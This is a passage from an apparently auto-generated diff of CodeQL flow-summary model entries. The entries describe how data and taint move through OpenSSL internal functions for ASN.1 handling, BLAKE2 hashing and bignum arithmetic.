char *,int,const ASN1_ITEM *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ossl_asn1_enc_save", "(ASN1_VALUE **,const unsigned char *,int,const ASN1_ITEM *)", "", "Argument[1]", "Argument[**0].Field[**enc]", "taint", "dfc-generated"] + - ["", "", True, "ossl_asn1_enc_save", "(ASN1_VALUE **,const unsigned char *,int,const ASN1_ITEM *)", "", "Argument[2]", "Argument[**0].Field[*len]", "value", "dfc-generated"] + - ["", "", True, "ossl_asn1_get_choice_selector", "(ASN1_VALUE **,const ASN1_ITEM *)", "", "Argument[**0]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_asn1_get_choice_selector", "(ASN1_VALUE **,const ASN1_ITEM *)", "", "Argument[*0]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "ossl_asn1_get_choice_selector", "(ASN1_VALUE **,const ASN1_ITEM *)", "", "Argument[*1].Field[*utype]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "ossl_asn1_get_choice_selector", "(ASN1_VALUE **,const ASN1_ITEM *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ossl_asn1_get_choice_selector", "(ASN1_VALUE **,const ASN1_ITEM *)", "", "Argument[0]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "ossl_asn1_get_choice_selector_const", "(const ASN1_VALUE **,const ASN1_ITEM *)", "", "Argument[**0]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_asn1_get_choice_selector_const", "(const ASN1_VALUE **,const ASN1_ITEM *)", "", "Argument[*0]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "ossl_asn1_get_choice_selector_const", "(const ASN1_VALUE **,const ASN1_ITEM *)", "", "Argument[*1].Field[*utype]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "ossl_asn1_get_choice_selector_const", "(const ASN1_VALUE **,const ASN1_ITEM *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ossl_asn1_get_choice_selector_const", "(const ASN1_VALUE **,const ASN1_ITEM *)", "", "Argument[0]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "ossl_asn1_get_const_field_ptr", "(const ASN1_VALUE **,const ASN1_TEMPLATE *)", "", "Argument[**0]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "ossl_asn1_get_const_field_ptr", "(const ASN1_VALUE **,const ASN1_TEMPLATE *)", "", "Argument[*0]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "ossl_asn1_get_const_field_ptr", "(const ASN1_VALUE **,const ASN1_TEMPLATE *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "dfc-generated"] + - ["", "", True, "ossl_asn1_get_const_field_ptr", "(const ASN1_VALUE **,const ASN1_TEMPLATE *)", "", "Argument[*1].Field[*offset]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "ossl_asn1_get_const_field_ptr", "(const ASN1_VALUE **,const ASN1_TEMPLATE *)", "", "Argument[*1].Field[*offset]", "ReturnValue[*]", "taint", "dfc-generated"] + - ["", "", True, "ossl_asn1_get_const_field_ptr", "(const ASN1_VALUE **,const ASN1_TEMPLATE *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ossl_asn1_get_const_field_ptr", "(const ASN1_VALUE **,const ASN1_TEMPLATE *)", "", "Argument[0]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "ossl_asn1_get_const_field_ptr", "(const ASN1_VALUE **,const ASN1_TEMPLATE *)", "", "Argument[0]", "ReturnValue[*]", "taint", "dfc-generated"] + - ["", "", True, "ossl_asn1_get_field_ptr", "(ASN1_VALUE **,const ASN1_TEMPLATE *)", "", "Argument[**0]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "ossl_asn1_get_field_ptr", "(ASN1_VALUE **,const ASN1_TEMPLATE *)", "", "Argument[*0]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "ossl_asn1_get_field_ptr", "(ASN1_VALUE **,const ASN1_TEMPLATE *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "dfc-generated"] + - ["", "", True, "ossl_asn1_get_field_ptr", "(ASN1_VALUE **,const ASN1_TEMPLATE *)", "", "Argument[*1].Field[*offset]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "ossl_asn1_get_field_ptr", "(ASN1_VALUE **,const ASN1_TEMPLATE *)", "", "Argument[*1].Field[*offset]", "ReturnValue[*]", "taint", "dfc-generated"] + - ["", "", True, "ossl_asn1_get_field_ptr", "(ASN1_VALUE **,const ASN1_TEMPLATE *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ossl_asn1_get_field_ptr", "(ASN1_VALUE **,const ASN1_TEMPLATE *)", "", "Argument[0]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "ossl_asn1_get_field_ptr", "(ASN1_VALUE **,const ASN1_TEMPLATE *)", "", "Argument[0]", "ReturnValue[*]", "taint", "dfc-generated"] + - ["", "", True, "ossl_asn1_item_digest_ex", "(const ASN1_ITEM *,const EVP_MD *,void *,unsigned char *,unsigned int *,OSSL_LIB_CTX *,const char *)", "", "Argument[*0]", "Argument[2]", "taint", "df-generated"] + - ["", "", True, "ossl_asn1_item_digest_ex", "(const ASN1_ITEM *,const EVP_MD *,void *,unsigned char *,unsigned int *,OSSL_LIB_CTX *,const char *)", "", "Argument[*2]", "Argument[2]", "value", "df-generated"] + - ["", "", True, "ossl_asn1_item_embed_free", "(ASN1_VALUE **,const ASN1_ITEM *,int)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "ossl_asn1_item_embed_free", "(ASN1_VALUE **,const ASN1_ITEM *,int)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "ossl_asn1_item_embed_free", "(ASN1_VALUE **,const ASN1_ITEM *,int)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "ossl_asn1_item_embed_free", "(ASN1_VALUE **,const ASN1_ITEM *,int)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "ossl_asn1_item_embed_free", "(ASN1_VALUE **,const ASN1_ITEM *,int)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "ossl_asn1_item_embed_free", "(ASN1_VALUE **,const ASN1_ITEM *,int)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "ossl_asn1_item_ex_new_intern", "(ASN1_VALUE **,const ASN1_ITEM *,OSSL_LIB_CTX *,const char *)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "ossl_asn1_item_ex_new_intern", "(ASN1_VALUE **,const ASN1_ITEM *,OSSL_LIB_CTX *,const char *)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "ossl_asn1_item_ex_new_intern", "(ASN1_VALUE **,const ASN1_ITEM *,OSSL_LIB_CTX *,const char *)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "ossl_asn1_item_ex_new_intern", "(ASN1_VALUE **,const ASN1_ITEM *,OSSL_LIB_CTX *,const char *)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "ossl_asn1_item_ex_new_intern", "(ASN1_VALUE **,const ASN1_ITEM *,OSSL_LIB_CTX *,const char *)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "ossl_asn1_item_ex_new_intern", "(ASN1_VALUE **,const ASN1_ITEM *,OSSL_LIB_CTX *,const char *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "ossl_asn1_primitive_free", "(ASN1_VALUE **,const ASN1_ITEM *,int)", "", "Argument[*1].Field[*size]", "Argument[*0]", "value", "dfc-generated"] + - ["", "", True, "ossl_asn1_primitive_free", "(ASN1_VALUE **,const ASN1_ITEM *,int)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ossl_asn1_set_choice_selector", "(ASN1_VALUE **,int,const ASN1_ITEM *)", "", "Argument[**0]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_asn1_set_choice_selector", "(ASN1_VALUE **,int,const ASN1_ITEM *)", "", "Argument[*0]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "ossl_asn1_set_choice_selector", "(ASN1_VALUE **,int,const ASN1_ITEM *)", "", "Argument[*2].Field[*utype]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "ossl_asn1_set_choice_selector", "(ASN1_VALUE **,int,const ASN1_ITEM *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ossl_asn1_set_choice_selector", "(ASN1_VALUE **,int,const ASN1_ITEM *)", "", "Argument[0]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "ossl_asn1_string_set_bits_left", "(ASN1_STRING *,unsigned int)", "", "Argument[1]", "Argument[*0].Field[*flags]", "taint", "dfc-generated"] + - ["", "", True, "ossl_asn1_template_free", "(ASN1_VALUE **,const ASN1_TEMPLATE *)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "ossl_asn1_template_free", "(ASN1_VALUE **,const ASN1_TEMPLATE *)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "ossl_asn1_template_free", "(ASN1_VALUE **,const ASN1_TEMPLATE *)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "ossl_asn1_template_free", "(ASN1_VALUE **,const ASN1_TEMPLATE *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "ossl_asn1_time_from_tm", "(ASN1_TIME *,tm *,int)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "ossl_asn1_time_from_tm", "(ASN1_TIME *,tm *,int)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_asn1_time_from_tm", "(ASN1_TIME *,tm *,int)", "", "Argument[2]", "Argument[*0].Field[*type]", "value", "dfc-generated"] + - ["", "", True, "ossl_asn1_time_from_tm", "(ASN1_TIME *,tm *,int)", "", "Argument[2]", "ReturnValue[*].Field[*type]", "value", "dfc-generated"] + - ["", "", True, "ossl_asn1_time_to_tm", "(tm *,const ASN1_TIME *)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "ossl_asn1_utctime_to_tm", "(tm *,const ASN1_UTCTIME *)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "ossl_b2i", "(const unsigned char **,unsigned int,int *)", "", "Argument[*0]", "Argument[**0]", "taint", "dfc-generated"] + - ["", "", True, "ossl_b2i", "(const unsigned char **,unsigned int,int *)", "", "Argument[0]", "Argument[**0]", "taint", "dfc-generated"] + - ["", "", True, "ossl_b2i", "(const unsigned char **,unsigned int,int *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ossl_b2i", "(const unsigned char **,unsigned int,int *)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "ossl_b2i_DSA_after_header", "(const unsigned char **,unsigned int,int)", "", "Argument[**0]", "ReturnValue[*].Field[**priv_key].Field[**d]", "taint", "dfc-generated"] + - ["", "", True, "ossl_b2i_DSA_after_header", "(const unsigned char **,unsigned int,int)", "", "Argument[**0]", "ReturnValue[*].Field[**pub_key].Field[**d]", "taint", "dfc-generated"] + - ["", "", True, "ossl_b2i_RSA_after_header", "(const unsigned char **,unsigned int,int)", "", "Argument[**0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "ossl_b2i_RSA_after_header", "(const unsigned char **,unsigned int,int)", "", "Argument[*0]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "ossl_b2i_RSA_after_header", "(const unsigned char **,unsigned int,int)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "ossl_b2i_RSA_after_header", "(const unsigned char **,unsigned int,int)", "", "Argument[0]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "ossl_b2i_RSA_after_header", "(const unsigned char **,unsigned int,int)", "", "Argument[0]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "ossl_b2i_RSA_after_header", "(const unsigned char **,unsigned int,int)", "", "Argument[0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "ossl_b2i_RSA_after_header", "(const unsigned char **,unsigned int,int)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "ossl_b2i_RSA_after_header", "(const unsigned char **,unsigned int,int)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "ossl_b2i_RSA_after_header", "(const unsigned char **,unsigned int,int)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "ossl_b2i_bio", "(BIO *,int *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_base_provider_init", "(const OSSL_CORE_HANDLE *,const OSSL_DISPATCH *,const OSSL_DISPATCH **,void **)", "", "Argument[*0]", "Argument[**3].Field[**handle]", "value", "dfc-generated"] + - ["", "", True, "ossl_base_provider_init", "(const OSSL_CORE_HANDLE *,const OSSL_DISPATCH *,const OSSL_DISPATCH **,void **)", "", "Argument[*1].Field[*function]", "Argument[**3].Field[*core_get_params]", "value", "dfc-generated"] + - ["", "", True, "ossl_base_provider_init", "(const OSSL_CORE_HANDLE *,const OSSL_DISPATCH *,const OSSL_DISPATCH **,void **)", "", "Argument[0]", "Argument[**3].Field[*handle]", "value", "dfc-generated"] + - ["", "", True, "ossl_base_provider_init", "(const OSSL_CORE_HANDLE *,const OSSL_DISPATCH *,const OSSL_DISPATCH **,void **)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_base_provider_init", "(const OSSL_CORE_HANDLE *,const OSSL_DISPATCH *,const OSSL_DISPATCH **,void **)", "", "Argument[3]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "ossl_bio_init_core", "(OSSL_LIB_CTX *,const OSSL_DISPATCH *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_bio_new_from_core_bio", "(PROV_CTX *,OSSL_CORE_BIO *)", "", "Argument[*0].Field[**corebiometh]", "ReturnValue[*].Field[**method]", "value", "dfc-generated"] + - ["", "", True, "ossl_bio_new_from_core_bio", "(PROV_CTX *,OSSL_CORE_BIO *)", "", "Argument[*0].Field[*corebiometh]", "ReturnValue[*].Field[*method]", "value", "dfc-generated"] + - ["", "", True, "ossl_bio_new_from_core_bio", "(PROV_CTX *,OSSL_CORE_BIO *)", "", "Argument[*1]", "ReturnValue[*].Field[**ptr]", "value", "dfc-generated"] + - ["", "", True, "ossl_bio_new_from_core_bio", "(PROV_CTX *,OSSL_CORE_BIO *)", "", "Argument[1]", "ReturnValue[*].Field[*ptr]", "value", "dfc-generated"] + - ["", "", True, "ossl_blake2b_final", "(unsigned char *,BLAKE2B_CTX *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ossl_blake2b_get_ctx_params", "(void *,OSSL_PARAM[])", "", "Argument[*0].Field[*params].Field[*digest_length]", "Argument[*1].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "ossl_blake2b_get_ctx_params", "(void *,OSSL_PARAM[])", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_blake2b_init", "(BLAKE2B_CTX *,const BLAKE2B_PARAM *)", "", "Argument[*1].Field[*digest_length]", "Argument[*0].Field[*outlen]", "value", "dfc-generated"] + - ["", "", True, "ossl_blake2b_init", "(BLAKE2B_CTX *,const BLAKE2B_PARAM *)", "", "Argument[*1]", "Argument[*0].Field[*h]", "taint", "dfc-generated"] + - ["", "", True, "ossl_blake2b_init", "(BLAKE2B_CTX *,const BLAKE2B_PARAM *)", "", "Argument[1]", "Argument[*0].Field[*h]", "taint", "dfc-generated"] + - ["", "", True, "ossl_blake2b_init_key", "(BLAKE2B_CTX *,const BLAKE2B_PARAM *,const void *)", "", "Argument[**2]", "Argument[*0].Field[*buf]", "value", "dfc-generated"] + - ["", "", True, "ossl_blake2b_init_key", "(BLAKE2B_CTX *,const BLAKE2B_PARAM *,const void *)", "", "Argument[*1].Field[*digest_length]", "Argument[*0].Field[*outlen]", "value", "dfc-generated"] + - ["", "", True, "ossl_blake2b_init_key", "(BLAKE2B_CTX *,const BLAKE2B_PARAM *,const void *)", "", "Argument[*1]", "Argument[*0].Field[*h]", "taint", "dfc-generated"] + - ["", "", True, "ossl_blake2b_init_key", "(BLAKE2B_CTX *,const BLAKE2B_PARAM *,const void *)", "", "Argument[*2]", "Argument[**2]", "value", "dfc-generated"] + - ["", "", True, "ossl_blake2b_init_key", "(BLAKE2B_CTX *,const BLAKE2B_PARAM *,const void *)", "", "Argument[*2]", "Argument[*0].Field[*buf]", "value", "dfc-generated"] + - ["", "", True, "ossl_blake2b_init_key", "(BLAKE2B_CTX *,const BLAKE2B_PARAM *,const void *)", "", "Argument[1]", "Argument[*0].Field[*h]", "taint", "dfc-generated"] + - ["", "", True, "ossl_blake2b_init_key", "(BLAKE2B_CTX *,const BLAKE2B_PARAM *,const void *)", "", "Argument[2]", "Argument[**2]", "taint", "dfc-generated"] + - ["", "", True, "ossl_blake2b_init_key", "(BLAKE2B_CTX *,const BLAKE2B_PARAM *,const void *)", "", "Argument[2]", "Argument[*0].Field[*buf]", "taint", "dfc-generated"] + - ["", "", True, "ossl_blake2b_param_set_digest_length", "(BLAKE2B_PARAM *,uint8_t)", "", "Argument[1]", "Argument[*0].Field[*digest_length]", "value", "dfc-generated"] + - ["", "", True, "ossl_blake2b_param_set_key_length", "(BLAKE2B_PARAM *,uint8_t)", "", "Argument[1]", "Argument[*0].Field[*key_length]", "value", "dfc-generated"] + - ["", "", True, "ossl_blake2b_param_set_personal", "(BLAKE2B_PARAM *,const uint8_t *,size_t)", "", "Argument[*1]", "Argument[*0].Field[*personal]", "value", "dfc-generated"] + - ["", "", True, "ossl_blake2b_param_set_personal", "(BLAKE2B_PARAM *,const uint8_t *,size_t)", "", "Argument[1]", "Argument[*0].Field[*personal]", "taint", "dfc-generated"] + - ["", "", True, "ossl_blake2b_param_set_personal", "(BLAKE2B_PARAM *,const uint8_t *,size_t)", "", "Argument[2]", "Argument[*0].Field[*personal]", "taint", "dfc-generated"] + - ["", "", True, "ossl_blake2b_param_set_salt", "(BLAKE2B_PARAM *,const uint8_t *,size_t)", "", "Argument[*1]", "Argument[*0].Field[*salt]", "value", "dfc-generated"] + - ["", "", True, "ossl_blake2b_param_set_salt", "(BLAKE2B_PARAM *,const uint8_t *,size_t)", "", "Argument[1]", "Argument[*0].Field[*salt]", "taint", "dfc-generated"] + - ["", "", True, "ossl_blake2b_param_set_salt", "(BLAKE2B_PARAM *,const uint8_t *,size_t)", "", "Argument[2]", "Argument[*0].Field[*salt]", "taint", "dfc-generated"] + - ["", "", True, "ossl_blake2b_set_ctx_params", "(void *,const OSSL_PARAM[])", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_blake2b_update", "(BLAKE2B_CTX *,const void *,size_t)", "", "Argument[*1]", "Argument[*0].Field[*buf]", "value", "dfc-generated"] + - ["", "", True, "ossl_blake2b_update", "(BLAKE2B_CTX *,const void *,size_t)", "", "Argument[1]", "Argument[*0].Field[*buf]", "taint", "dfc-generated"] + - ["", "", True, "ossl_blake2b_update", "(BLAKE2B_CTX *,const void *,size_t)", "", "Argument[2]", "Argument[*0].Field[*buf]", "taint", "dfc-generated"] + - ["", "", True, "ossl_blake2b_update", "(BLAKE2B_CTX *,const void *,size_t)", "", "Argument[2]", "Argument[*0].Field[*buflen]", "taint", "dfc-generated"] + - ["", "", True, "ossl_blake2b_update", "(BLAKE2B_CTX *,const void *,size_t)", "", "Argument[2]", "Argument[*0].Field[*t]", "taint", "dfc-generated"] + - ["", "", True, "ossl_blake2s_final", "(unsigned char *,BLAKE2S_CTX *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ossl_blake2s_get_ctx_params", "(void *,OSSL_PARAM[])", "", "Argument[*0].Field[*params].Field[*digest_length]", "Argument[*1].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "ossl_blake2s_get_ctx_params", "(void *,OSSL_PARAM[])", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_blake2s_init", "(BLAKE2S_CTX *,const BLAKE2S_PARAM *)", "", "Argument[*1].Field[*digest_length]", "Argument[*0].Field[*outlen]", "value", "dfc-generated"] + - ["", "", True, "ossl_blake2s_init", "(BLAKE2S_CTX *,const BLAKE2S_PARAM *)", "", "Argument[*1]", "Argument[*0].Field[*h]", "taint", "dfc-generated"] + - ["", "", True, "ossl_blake2s_init", "(BLAKE2S_CTX *,const BLAKE2S_PARAM *)", "", "Argument[1]", "Argument[*0].Field[*h]", "taint", "dfc-generated"] + - ["", "", True, "ossl_blake2s_init_key", "(BLAKE2S_CTX *,const BLAKE2S_PARAM *,const void *)", "", "Argument[**2]", "Argument[*0].Field[*buf]", "value", "dfc-generated"] + - ["", "", True, "ossl_blake2s_init_key", "(BLAKE2S_CTX *,const BLAKE2S_PARAM *,const void *)", "", "Argument[*1].Field[*digest_length]", "Argument[*0].Field[*outlen]", "value", "dfc-generated"] + - ["", "", True, "ossl_blake2s_init_key", "(BLAKE2S_CTX *,const BLAKE2S_PARAM *,const void *)", "", "Argument[*1]", "Argument[*0].Field[*h]", "taint", "dfc-generated"] + - ["", "", True, "ossl_blake2s_init_key", "(BLAKE2S_CTX *,const BLAKE2S_PARAM *,const void *)", "", "Argument[*2]", "Argument[**2]", "value", "dfc-generated"] + - ["", "", True, "ossl_blake2s_init_key", "(BLAKE2S_CTX *,const BLAKE2S_PARAM *,const void *)", "", "Argument[*2]", "Argument[*0].Field[*buf]", "value", "dfc-generated"] + - ["", "", True, "ossl_blake2s_init_key", "(BLAKE2S_CTX *,const BLAKE2S_PARAM *,const void *)", "", "Argument[1]", "Argument[*0].Field[*h]", "taint", "dfc-generated"] + - ["", "", True, "ossl_blake2s_init_key", "(BLAKE2S_CTX *,const BLAKE2S_PARAM *,const void *)", "", "Argument[2]", "Argument[**2]", "taint", "dfc-generated"] + - ["", "", True, "ossl_blake2s_init_key", "(BLAKE2S_CTX *,const BLAKE2S_PARAM *,const void *)", "", "Argument[2]", "Argument[*0].Field[*buf]", "taint", "dfc-generated"] + - ["", "", True, "ossl_blake2s_param_set_digest_length", "(BLAKE2S_PARAM *,uint8_t)", "", "Argument[1]", "Argument[*0].Field[*digest_length]", "value", "dfc-generated"] + - ["", "", True, "ossl_blake2s_param_set_key_length", "(BLAKE2S_PARAM *,uint8_t)", "", "Argument[1]", "Argument[*0].Field[*key_length]", "value", "dfc-generated"] + - ["", "", True, "ossl_blake2s_param_set_personal", "(BLAKE2S_PARAM *,const uint8_t *,size_t)", "", "Argument[*1]", "Argument[*0].Field[*personal]", "value", "dfc-generated"] + - ["", "", True, "ossl_blake2s_param_set_personal", "(BLAKE2S_PARAM *,const uint8_t *,size_t)", "", "Argument[1]", "Argument[*0].Field[*personal]", "taint", "dfc-generated"] + - ["", "", True, "ossl_blake2s_param_set_personal", "(BLAKE2S_PARAM *,const uint8_t *,size_t)", "", "Argument[2]", "Argument[*0].Field[*personal]", "taint", "dfc-generated"] + - ["", "", True, "ossl_blake2s_param_set_salt", "(BLAKE2S_PARAM *,const uint8_t *,size_t)", "", "Argument[*1]", "Argument[*0].Field[*salt]", "value", "dfc-generated"] + - ["", "", True, "ossl_blake2s_param_set_salt", "(BLAKE2S_PARAM *,const uint8_t *,size_t)", "", "Argument[1]", "Argument[*0].Field[*salt]", "taint", "dfc-generated"] + - ["", "", True, "ossl_blake2s_param_set_salt", "(BLAKE2S_PARAM *,const uint8_t *,size_t)", "", "Argument[2]", "Argument[*0].Field[*salt]", "taint", "dfc-generated"] + - ["", "", True, "ossl_blake2s_set_ctx_params", "(void *,const OSSL_PARAM[])", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "ossl_blake2s_update", "(BLAKE2S_CTX *,const void *,size_t)", "", "Argument[*1]", "Argument[*0].Field[*buf]", "value", "dfc-generated"] + - ["", "", True, "ossl_blake2s_update", "(BLAKE2S_CTX *,const void *,size_t)", "", "Argument[1]", "Argument[*0].Field[*buf]", "taint", "dfc-generated"] + - ["", "", True, "ossl_blake2s_update", "(BLAKE2S_CTX *,const void *,size_t)", "", "Argument[2]", "Argument[*0].Field[*buf]", "taint", "dfc-generated"] + - ["", "", True, "ossl_blake2s_update", "(BLAKE2S_CTX *,const void *,size_t)", "", "Argument[2]", "Argument[*0].Field[*buflen]", "taint", "dfc-generated"] + - ["", "", True, "ossl_blake2s_update", "(BLAKE2S_CTX *,const void *,size_t)", "", "Argument[2]", "Argument[*0].Field[*t]", "taint", "dfc-generated"] + - ["", "", True, "ossl_blob_length", "(unsigned int,int,int)", "", "Argument[0]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "ossl_bn_check_generated_prime", "(const BIGNUM *,int,BN_CTX *,BN_GENCB *)", "", "Argument[*2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "ossl_bn_check_prime", "(const BIGNUM *,int,BN_CTX *,int,BN_GENCB *)", "", "Argument[*2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "ossl_bn_gen_dsa_nonce_fixed_top", "(BIGNUM *,const BIGNUM *,const BIGNUM *,const unsigned char *,size_t,BN_CTX *)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "ossl_bn_get_libctx", "(BN_CTX *)", "", "Argument[*0].Field[**libctx]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "ossl_bn_get_libctx", "(BN_CTX *)", "", "Argument[*0].Field[*libctx]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ossl_bn_mask_bits_fixed_top", "(BIGNUM *,int)", "", "Argument[1]", "Argument[*0].Field[**d]", "taint", "dfc-generated"] + - ["", "", True, "ossl_bn_mask_bits_fixed_top", "(BIGNUM *,int)", "", "Argument[1]", "Argument[*0].Field[*top]", "taint", "dfc-generated"] + - ["", "", True, "ossl_bn_miller_rabin_is_prime", "(const BIGNUM *,int,BN_CTX *,BN_GENCB *,int,int *)", "", "Argument[*2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "ossl_bn_mont_ctx_set", "(BN_MONT_CTX *,const BIGNUM *,int,const unsigned char *,size_t,uint32_t,uint32_t)", "", "Argument[*3]", "Argument[*0].Field[*RR].Field[**d]", "taint", "dfc-generated"] + - ["", "", True, "ossl_bn_mont_ctx_set", "(BN_MONT_CTX *,const BIGNUM *,int,const unsigned char *,size_t,uint32_t,uint32_t)", "", "Argument[2]", "Argument[*0].Field[*ri]", "value", "dfc-generated"] + - ["", "", True, "ossl_bn_mont_ctx_set", "(BN_MONT_CTX *,const BIGNUM *,int,const unsigned char *,size_t,uint32_t,uint32_t)", "", "Argument[3]", "Argument[*0].Field[*RR].Field[**d]", "taint", "dfc-generated"] + - ["", "", True, "ossl_bn_mont_ctx_set", "(BN_MONT_CTX *,const BIGNUM *,int,const unsigned char *,size_t,uint32_t,uint32_t)", "", "Argument[4]", "Argument[*0].Field[*RR].Field[**d]", "taint", "dfc-generated"] + - ["", "", True, "ossl_bn_mont_ctx_set", "(BN_MONT_CTX *,const BIGNUM *,int,const unsigned char *,size_t,uint32_t,uint32_t)", "", "Argument[4]", "Argument[*0].Field[*RR].Field[*dmax]", "taint", "dfc-generated"] + - ["", "", True, "ossl_bn_mont_ctx_set", "(BN_MONT_CTX *,const BIGNUM *,int,const unsigned char *,size_t,uint32_t,uint32_t)", "", "Argument[4]", "Argument[*0].Field[*RR].Field[*top]", "taint", "dfc-generated"] + - ["", "", True, "ossl_bn_mont_ctx_set", "(BN_MONT_CTX *,const BIGNUM *,int,const unsigned char *,size_t,uint32_t,uint32_t)", "", "Argument[5]", "Argument[*0].Field[*n0]", "taint", "dfc-generated"] + - ["", "", True, "ossl_bn_mont_ctx_set", "(BN_MONT_CTX *,const BIGNUM *,int,const unsigned char *,size_t,uint32_t,uint32_t)", "", "Argument[6]", "Argument[*0].Field[*n0]", "taint", "dfc-generated"] + - ["", "", True, "ossl_bn_priv_rand_range_fixed_top", "(BIGNUM *,const BIGNUM *,unsigned int,BN_CTX *)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "ossl_bn_rsa_fips186_4_derive_prime", "(BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,int,const BIGNUM *,BN_CTX *,BN_GENCB *)", "", "Argument[*0]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "ossl_bn_rsa_fips186_4_derive_prime", "(BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,int,const BIGNUM *,BN_CTX *,BN_GENCB *)", "", "Argument[*0]", "Argument[*6]", "taint", "df-generated"] + - ["", "", True, "ossl_bn_rsa_fips186_4_derive_prime", "(BIGNUM *,BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *,int,const BIGNUM *,BN_CTX *,BN_GENCB *)", "", "Argument[*1]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "ossl_bn_rsa_fips186_4_derive_prime", "(BIGNUM *,BIGNUM *,const BIGNUM 